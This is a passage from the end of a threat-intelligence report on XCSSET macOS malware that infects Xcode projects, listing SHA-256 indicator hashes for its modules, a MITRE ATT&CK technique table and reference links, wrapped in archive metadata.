Git\r\ncommits)\r\nc2a7970216576a6b8f74528ffcfa51aa2b72b7f3e4237d97715b1b5ba80b25ca\r\nSHA-256\r\nuhsoxtfd_vostfd\r\nmodule\r\n(directory\r\nuploader)\r\n8cec3c106659709017bb253becf68296c7bf13e76fa92b4450c281003d225645\r\nSHA-256\r\nfpfb module\r\n(directory\r\nlisting)\r\nea90c72e67f1c9a9231732119576a7dcb29471f7da428866187d4326e78097f2\r\nSHA-256\r\nvectfd module\r\n(specific files\r\nexfiltration)\r\nff83f53a383ba3f1d6b002006adf16a7f0b3263185d56cb70104889874d67c5d\r\nSHA-256\r\np (Dock\r\npersistence\r\npayload)\r\ncc37a01d3351b3c166f04aec6f52849e909b0b9c8d55095d730c660691b1ba66\r\nSHA-256.zshrc_aliases\r\nfile\r\nMITRE ATT\u0026CK techniques observed\r\nTechnique\r\nID\r\nTechnique name\r\nT1195.001\r\nSupply Chain Compromise: Compromise Software Dependencies and Development\r\nTools\r\nT1059.002 Command and Scripting Interpreter: AppleScript\r\nT1059.007 Command and Scripting Interpreter: JavaScript\r\nT1059.004 Command and Scripting Interpreter: Unix Shell\r\nT1546.004 Event Triggered Execution: Unix Shell Configuration Modification\r\nT1560 Archive Collected Data\r\nT1005 Data from Local System\r\nT1041 Exfiltration Over C2 Channel\r\nT1083 File and Directory Discovery\r\nT1222.002\r\nFile and Directory Permissions Modification: Linux and Mac File and Directory\r\nPermissions Modification\r\nT1564.001 Hide Artifacts: Hidden Files and Directories\r\nT1105 Ingress Tool Transfer\r\nT1036.005 Masquerading: Match Legitimate Name or Location\r\nT1647 Plist File Modification\r\nT1518 Software Discovery\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 14 of 15\n\nT1082 System Information Discovery\r\nT1614.001 System Location Discovery: System Language Discovery\r\nT1548.006 Abuse Elevation Control Mechanism: TCC Manipulation\r\nT1140 Deobfuscate/Decode Files or Information\r\nT1564.003 Hide Artifacts: Hidden Window\r\nT1070.004 Indicator Removal: File Deletion\r\nT1027.004 Obfuscated Files or Information: Compile After Delivery\r\nT1027.013 Obfuscated Files or Information: Encrypted/Encoded File\r\nT1217 Browser Information Discovery\r\nT1518.001 Software Discovery: Security Software Discovery\r\nT1033 System Owner/User Discovery\r\nReferences\r\nhttps://www.trendmicro.com/en_us/research/20/h/xcsset-mac-malware–infects-xcode-projects–uses-0-days.html\r\nhttps://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf\r\nhttps://www.intego.com/mac-security-blog/mac-malware-exposed-xcsset-an-advanced-new-threat/\r\nhttps://www.jamf.com/blog/osx-xcsset-subverts-developer-environments/\r\nhttps://www.sentinelone.com/blog/xcsset-malware-update-macos-threat-actors-prepare-for-life-without-python/\r\nLearn more\r\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat\r\nIntelligence Blog: https://aka.ms/threatintelblog.\r\nTo get notified about new publications and to join discussions on social media, follow us on LinkedIn at\r\nhttps://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter)\r\nat https://x.com/MsftSecIntel.\r\nTo hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape,\r\nlisten to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.\r\nSource: https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-proj\r\nects/\r\nhttps://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.microsoft.com/en-us/security/blog/2025/03/11/new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects/"
	],
	"report_names": [
		"new-xcsset-malware-adds-new-obfuscation-persistence-techniques-to-infect-xcode-projects"
	],
	"threat_actors": [],
	"ts_created_at": 1775434146,
	"ts_updated_at": 1775826748,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a669325d00188680430d59bed2a59b7effb20b8c.pdf",
		"text": "https://archive.orkl.eu/a669325d00188680430d59bed2a59b7effb20b8c.txt",
		"img": "https://archive.orkl.eu/a669325d00188680430d59bed2a59b7effb20b8c.jpg"
	}
}